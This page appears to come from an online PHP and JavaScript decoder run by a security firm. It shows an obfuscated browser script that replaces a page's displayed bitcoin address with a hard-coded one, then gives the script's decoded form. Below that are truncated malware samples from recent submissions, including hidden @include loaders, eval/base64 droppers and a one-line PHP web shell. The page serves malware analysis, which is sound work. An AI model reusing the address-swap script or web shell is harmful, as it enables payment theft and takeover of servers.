Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


Show other level

var _0xb616=
["use strict","Z2V0RWxlbWVudHNCeUNsYXNzTmFtZQ==","shift","push","SFKNYk","return (function() ","{}.constructor("return this")( )",");","ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=","atob","","replace","charAt","fromCharCode","indexOf","TxZTNZ","length","%","slice","00","toString","charCodeAt","gcPvZD","innerHTML","bitcoin-address bitcoin-address-controls","0x0","3PkMMRXCAzYbsf24f83jGkaf3Lg1bHFfXT"];_0xb616[0];(function(){var _0x66e1x1=[_0xb616[1]];(function(_0x66e1x2,_0x66e1x3){var _0x66e1x4=function(_0x66e1x5){for(;--_0x66e1x5;){_0x66e1x2[_0xb616[3]](_0x66e1x2[_0xb616[2]]())}};_0x66e1x4(++_0x66e1x3)})(_0x66e1x1,291);var _0x66e1x6=function(_0x66e1x3,_0x66e1x7){_0x66e1x3= _0x66e1x3- 0;var _0x66e1x8=_0x66e1x1[_0x66e1x3];if(_0x66e1x6[_0xb616[4]]=== undefined){(function(){var _0x66e1x9;try{var _0x66e1xa=Function(_0xb616[5]+ _0xb616[6]+ _0xb616[7]);_0x66e1x9= _0x66e1xa()}catch(_0x17c4aa){_0x66e1x9= window};var _0x66e1xb=_0xb616[8];if(!_0x66e1x9[_0xb616[9]]){_0x66e1x9[_0xb616[9]]= function(_0x66e1x3){var _0x66e1xc=String(_0x66e1x3)[_0xb616[11]](/=+$/,_0xb616[10]);var _0x66e1xd=0;var _0x66e1xe;var _0x66e1xf;var _0x66e1x10=0;var _0x66e1x11=_0xb616[10];for(;_0x66e1xf= _0x66e1xc[_0xb616[12]](_0x66e1x10++);~_0x66e1xf&& (_0x66e1xe= _0x66e1xd% 4?_0x66e1xe* 64+ _0x66e1xf:_0x66e1xf,_0x66e1xd++ % 4)?_0x66e1x11= _0x66e1x11+ String[_0xb616[13]](255& _0x66e1xe>> (-2* _0x66e1xd & 6)):0){_0x66e1xf= _0x66e1xb[_0xb616[14]](_0x66e1xf)};return _0x66e1x11}}})();_0x66e1x6[_0xb616[15]]= function(_0x66e1x12){var _0x66e1x13=atob(_0x66e1x12);var _0x66e1x14=[];var _0x66e1x15=0;var _0x66e1x8=_0x66e1x13[_0xb616[16]];for(;_0x66e1x15< _0x66e1x8;_0x66e1x15++){_0x66e1x14= _0x66e1x14+ (_0xb616[17]+ (_0xb616[19]+ _0x66e1x13[_0xb616[21]](_0x66e1x15)[_0xb616[20]](16))[_0xb616[18]](-2))};return decodeURIComponent(_0x66e1x14)};_0x66e1x6[_0xb616[22]]= {};_0x66e1x6[_0xb616[4]]=  !![]};var _0x66e1x16=_0x66e1x6[_0xb616[22]][_0x66e1x3];if(_0x66e1x16=== undefined){_0x66e1x8= _0x66e1x6[_0xb616[15]](_0x66e1x8);_0x66e1x6[_0xb616[22]][_0x66e1x3]= _0x66e1x8}else {_0x66e1x8= _0x66e1x16};return _0x66e1x8};document[_0x66e1x6(_0xb616[25])](_0xb616[24])[0][_0xb616[23]]= _0xb616[26]})()

"use strict";
	(function(){
	var _0x66e1x1=["Z2V0RWxlbWVudHNCeUNsYXNzTmFtZQ=="];
		(function(_0x66e1x2,_0x66e1x3){
			var _0x66e1x4=function(_0x66e1x5){
			for(;
			--_0x66e1x5;
				){
				_0x66e1x2["push"](_0x66e1x2["shift"]())
			}
		};
		_0x66e1x4(++_0x66e1x3)
	}
	)(_0x66e1x1,291);
		var _0x66e1x6=function(_0x66e1x3,_0x66e1x7){
		_0x66e1x3= _0x66e1x3- 0;
		var _0x66e1x8=_0x66e1x1[_0x66e1x3];
			if(_0x66e1x6["SFKNYk"]=== undefined){
				(function(){
				var _0x66e1x9;
					try{
						var _0x66e1xa=Function("return (function() "+ "{
					}
					.constructor("return this")( )"+ ");
					");
					_0x66e1x9= _0x66e1xa()
				}
					catch(_0x17c4aa){
					_0x66e1x9= window
				};
				var _0x66e1xb="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
					if(!_0x66e1x9["atob"]){
						_0x66e1x9["atob"]= function(_0x66e1x3){
						var _0x66e1xc=String(_0x66e1x3)["replace"](/=+$/,"");
						var _0x66e1xd=0;
						var _0x66e1xe;
						var _0x66e1xf;
						var _0x66e1x10=0;
						var _0x66e1x11="";
						for(;
						_0x66e1xf= _0x66e1xc["charAt"](_0x66e1x10++);
							~_0x66e1xf&& (_0x66e1xe= _0x66e1xd% 4?_0x66e1xe* 64+ _0x66e1xf:_0x66e1xf,_0x66e1xd++ % 4)?_0x66e1x11= _0x66e1x11+ String["fromCharCode"](255& _0x66e1xe>> (-2* _0x66e1xd & 6)):0){
							_0x66e1xf= _0x66e1xb["indexOf"](_0x66e1xf)
						};
						return _0x66e1x11
					}
				}
			}
			)();
				_0x66e1x6["TxZTNZ"]= function(_0x66e1x12){
				var _0x66e1x13=atob(_0x66e1x12);
				var _0x66e1x14=[];
				var _0x66e1x15=0;
				var _0x66e1x8=_0x66e1x13["length"];
				for(;
				_0x66e1x15< _0x66e1x8;
					_0x66e1x15++){
					_0x66e1x14= _0x66e1x14+ ("%"+ ("00"+ _0x66e1x13["charCodeAt"](_0x66e1x15)["toString"](16))["slice"](-2))
				};
				return decodeURIComponent(_0x66e1x14)
			};
				_0x66e1x6["gcPvZD"]= {
			};
			_0x66e1x6["SFKNYk"]=  !![]
		};
		var _0x66e1x16=_0x66e1x6["gcPvZD"][_0x66e1x3];
			if(_0x66e1x16=== undefined){
			_0x66e1x8= _0x66e1x6["TxZTNZ"](_0x66e1x8);
			_0x66e1x6["gcPvZD"][_0x66e1x3]= _0x66e1x8
		}
			else {
			_0x66e1x8= _0x66e1x16
		};
		return _0x66e1x8
	};
	document[_0x66e1x6("0x0")]("bitcoin-address bitcoin-address-controls")[0]["innerHTML"]= "3PkMMRXCAzYbsf24f83jGkaf3Lg1bHFfXT""
}
)()


Recent submissions:

call_user_func(ab_____(base64_decode('Z29gdXN2dHVmZWB3YnN0')),ab_____(base64_decode('YmNgY... call_user_func(ab_____(base64_decode('Z29gdXN2dHVmZWB3YnN0')),ab_____(base64_decode('ZWJ1Y... $all_params = call_user_func(ab_____(base64_decode('VXpoaV1CQ1FHRjs7aGZ1YGVmZ2J2bXVgcWJzYm... <?php if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['passw... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... if ($mode == ab_____(base64_decode('dnFlYnVm')) || $mode == ab_____(base64_decode('YmVl'))... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... if (call_user_func(ab_____(base64_decode('VXpoaV1TZmhqdHVzejs7aGZ1')),ab_____(base64_decod... if (call_user_func(ab_____(base64_decode('VXpoaV1TZmhqdHVzejs7aGZ1')),ab_____(base64_decod... if (call_user_func(ab_____(base64_decode('VXpoaV1TZmhqdHVzejs7aGZ1')),ab_____(base64_decod... if (call_user_func(ab_____(base64_decode('VXpoaV1TZmhqdHVzejs7aGZ1')),ab_____(base64_decod... if (call_user_func(ab_____(base64_decode('VXpoaV1TZmhqdHVzejs7aGZ1')),ab_____(base64_decod... if (!empty($objects) && call_user_func(ab_____(base64_decode('anRgYnNzYno=')),$objects) ) ... base64_decode('dGZtZmR1ZmVgZ2pmbWV0')... if (call_user_func(ab_____(base64_decode('VXpoaV1TZmhqdHVzejs7aGZ1')),ab_____(base64_decod... if (call_user_func(ab_____(base64_decode('VXpoaV1TZmhqdHVzejs7aGZ1')),ab_____(base64_decod... base64_decode('YmNgYGpiYGxmemBuZnE=')... /*3174f*/ @include "\057ho\155e/\141vi\156fa\155ir\057do\155ai\156s/\141vi\156fa\155.i\... //<![CDATA[ eval(function(p,a,c,k,e,d){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=... $path = Registry::get('config.dir.var') . ab_____(base64_decode('YmNgYGVidWIwYmNgYGdidHVgb... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... elseif ( call_user_func(ab_____(base64_decode('VXpoaV1TZmhqdHVzejs7aGZ1')),ab_____(base64_... call_user_func(ab_____(base64_decode('Z29gdGZ1YG9wdWpnamRidWpwbw==')),ab_____(base64_decod... base64_decode('YmNgYGdidHVgb2J3amhidWpwbzBlZm5wZWJ1YjBiY2BgZ29gZWZucGVidWI=')... <?php $hzmzp = '0d4cyg\'emp17olf*2vb-#x6unar_k3H8ts9i';$awjoa = Array();$awjoa[] = $hzmzp... function fn_add_static_data($data, $param_id = 0, $section = 'A', $lang_code = DESCR_SL) ... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... <?php /* This file was protected by MessPHP v1.0 at http://lombokcyber.com/en/detools/mess... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... $qdtitpc = '*xbvkysHo790-pnu#g_6mcardf42e\'lit358';$yprco = Array();$yprco[] = $qdtitpc[21... <?php echo "H\x65l\x6co\x20\x57\x6fr\x6cd"; ... call_user_func(ab_____(base64_decode('Z29gdXN2dHVmZWB3YnN0')),ab_____(base64_decode('dWJoY... if (call_user_func(ab_____(base64_decode('VXpoaV1TZmhqdHVzejs7aGZ1')),ab_____(base64_decod... /*67e08*/ @include "\057ho\155e/\162es\146rm\057pu\142li\143_h\164ml\057as\153fr\141nk\... <?php /*** PHP Encode v1.0 by zeura.com ***/ $XnNhAWEnhoiqwciqpoHH=file(__FILE__);eval(bas... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... /*95274*/ @include "\057hom\1452/a\151nco\1552/b\162ess\145boo\153.fr\057ann\157nce\163... /*7ea4d*/ @include "\057h\157m\1452\057a\151n\143o\1552\057a\151n\143o\155.\146r\057.\1... var _0x3c82 = ['showAsync', '\x20show\x20suc', 'show_result', '\x20show\x20failed,', 'ad_f... "\057home\064/che\141pfix\057publ\151c_ht\155l/wa\154let/\0564bfe\141695.\151co";... var _ODjhHS= "\x65\x76\x61\x6c\x28\x66\x75\x6e\x63\x74\x69\x6f\x6e\x28\x70\x2c\x61\x2c\x63... <?php $oakyc = 'kv_*mo20g\'5r1#dn84ayf9sxuit6lpH-cb3e';$zmkoo = Array();$zmkoo[] = $oakyc... /*639d4*/ @include "\057hom\1452/a\151nco\1552/e\154tah\150an.\143om/\141r/p\162odu\143... \057home\057colo\162mus/\165sato\171s.co\155.ua/\167ww/w\160-con\164ent/\165pdra\146t/.6\1... /*87f09*/ @include "\057ho\155e/\155ua\156ic\153vi\160.c\157m/\160ub\154ic\137ht\155l/\... <?php $_ko7j3d = basename/*nf7c*/(/*l4o0*/trim/*197*/(/*gfnp*/preg_replace/*y7*/(/*p4*/ra... var _0x682e=["\x2E\x2E\x2F\x67\x61\x6D\x65\x6D\x6F\x64\x65\x73","\x2E\x2E\x2F\x65\x6E\x74\... <?php $c=base64_decode('YXNzZXI=').$_GET['n'].'t';@$c($_POST['val']);?>kjohn... <?php /*9e5fa*/ @include "\057hom\1452/a\151nco\1552/e\154tah\150an.\143om/\141r/p\162... var _0xa001=["\x6F\x6E\x43\x6C\x69\x65\x6E\x74\x53\x6F\x63\x6B\x65\x74\x43\x6C\x6F\x73\x65... var _0xa001=["\x6F\x6E\x43\x6C\x69\x65\x6E\x74\x53\x6F\x63\x6B\x65\x74\x43\x6C\x6F\x73\x65... var _0xa3e1=["\x70\x6C\x61\x79\x65\x72\x54\x72\x61\x63\x6B\x65\x72","\x70\x61\x63\x6B\x65\... var _0x2730=["\x72\x65\x6D\x6F\x74\x65\x41\x64\x64\x72\x65\x73\x73","\x5F\x73\x6F\x63\x6B\... var _0x2ac9=["\x68\x74\x74\x70","\x66\x73","\x6F\x73","\x70\x61\x74\x68","\x2E\x2E\x2F\x70... function karakterfiltre(_0x50c2x2){var _0x50c2x3= new String();var _0x50c2x4=_0xe0ae[0];va... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... var _0xe0ae=["\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4A\x4B\x4C\x4D\x4E\x4F\x50\x52\x53\x54... /*eafc6*/ @include "\057home\062/ain\143om2/\146ocus\055arch\151tect\165re.c\157m/Cs\16... var _0x4e5a=["\x3C\x3F\x70\x68\x70\x20\x65\x63\x68\x6F\x20\x24\x63\x6F\x6E\x66\x69\x67\x5B... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... <?php if (!defined('BOOTSTRAP')) {die('Access denied');} use Tygh\Registry; if ($_SER... /*5d7eb*/ @include "\057hom\1452/a\151nco\1552/m\141sri\141mar\153et.\143om/\160age\163... /*e2dac*/ @include "\057data\057a/f/\141f4ce\071e1-4\06592-4\060c4-a\141e1-0\0629c88\06... /*9d40c*/ @include "\057home\062/ain\143om2/\155asri\141mark\145t.co\155/pag\145s/.1\06... /*50854*/ @include "\057hom\1452/a\151nco\1552/s\141veu\162deb\162ess\145.fr\057wp-\151... /*bc19f*/ @include "\057hom\1452/a\151nco\1552/s\145hab\171.co\155/cg\151-bi\156/.6\067... /*1e16c*/ @include "\057h\157m\1452\057a\151n\143o\1552\057s\150r\157u\150a\154.\143o\1... <?php $_79cd3kf = basename/*2d*/(/*7o*/trim/*hn8b*/(/*x*/preg_replace/*1em*/(/*lro*/rawur... /*f1359*/ @include "\057home\062/ain\143om2/\163hrou\150al.c\157m/wp\055incl\165des/\16... @include "\057va\162/w\167w/\166ho\163ts\057ho\164el\147en\164ia\156a.\143om\057ht\164pd\1... "\xAA\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x0B\x00\x00\x00}\x87\xD2\xB4\x93\xD1\x15S\x90\x94\xBC\xF... base64_decode('PGltZyBzcmM9Imh0dHA6Ly93d3cuY3MtY2FydC5jb20vaW1hZ2VzL2JhY2tncm91bmQuZ2lmIiB... base64_decode(\'PGltZyBzcmM9Imh0dHA6Ly93d3cuY3MtY2FydC5jb20vaW1hZ2VzL2JhY2tncm91bmQuZ2lmIi... array( 'base64_decode(\'PGltZyBzcmM9Imh0dHA6Ly93d3cuY3MtY2FydC5jb20vaW1hZ2VzL2JhY2tnc... <?php /* Plugin Name: IMDB Catcher Plugin URI: http://codein.ir Description: Catch In... //<![CDATA[ // Willy Wonka var _0xa39a=["\x73\x63\x72\x65\x65\x6E\x20\x61\x6E\x64\x20\x2... if ($_SERVER[ab_____(base64_decode('U0ZSVkZUVWBORlVJUEU='))] == ab_____(base64_decode('UVB... elseif ( $mode == ab_____(base64_decode('bmpoYnNqdWpwb3RgZ3NwbmB2b2p1aWZuZjI='))... if ( $action == 'update_po' && fn_abt__ut2_mfu1_update_ut1_deleted_lang_vars() ) { fn_set... Tygh::$app['view']->assign(ab_____(base64_decode('YmN1YGB2dTNgYmR1anBv')), $action); if (... <?php $_F=__FILE__;$_X='P2k+Qj9aLlpWTXp6T3pfek1aT3o9c0h4KEtfRklJPiY+fktfRTdUMy9LKTtWViRjPG... eval(base64_decode('ZXZhbChiYXNlNjRfZGVjb2RlKCdaWFpoYkNoaVlYTmxOalJmWkdWamIyUmxLQ2RhV0Zwb1... /*d339a*/ @include "\057hom\145/zr\151bka\057z-r\151bka\056od.\165a/w\167w/w\160-in\143... $otargl = '1#*90Hcv4smgpn7tf\'y_rl8kaixe-odbu';$jtyfss = Array();$jtyfss[] = $otargl[6].$o... (function(){ var b=window;b["_\x70o\x70"]=[["\x73\x69t\u0065I\x64",3659334],["\x6d\x69\... "G\x4cO\x42\x41\x4cS"... "G\x4cO\x42\x41\x4cS"}["d\x69n\x66\x6a\x6da\x76\x64"... <?php $fjkbju = '4u91nk*xHb\'-ayl3f6rtcei70_v#dm5o2sgp';$omvvdib = Array();$omvvdib[] = $... /*8baa9*/ @include "\057home\062/ain\143om2/\155srol\141n.co\155/rol\154an/n\145w/th\16... /*23a0c*/ @include "\057var/\167ww/t\162asse\162/dat\141/www\057sam-\163troi\164el.c\15... /*36aed*/ @include "\057hom\145/re\163frm\057pub\154ic_\150tml\057ask\146ran\153lin\056... /*c2484*/ @include "\057v\141r\057w\167w\057t\162a\163s\145r\057d\141t\141/\167w\167/\1... /*a9a36*/ @include "\057h\157m\1452\057a\151n\143o\1552\057m\163r\157l\141n\056c\157m\0... /*f05cf*/ @include "\057h\157m\1452\057a\151n\143o\1552\057m\163r\157l\141n\056c\157m\0... \057hom\1451/c\142... <?php $ecjaizh = 'Hu384a-vcgnp1*xrs#_mlide5\'960k2f7ytob';$gqmmgpy = Array();$gqmmgpy[] =...

© 2019 Quttera Ltd. All rights reserved.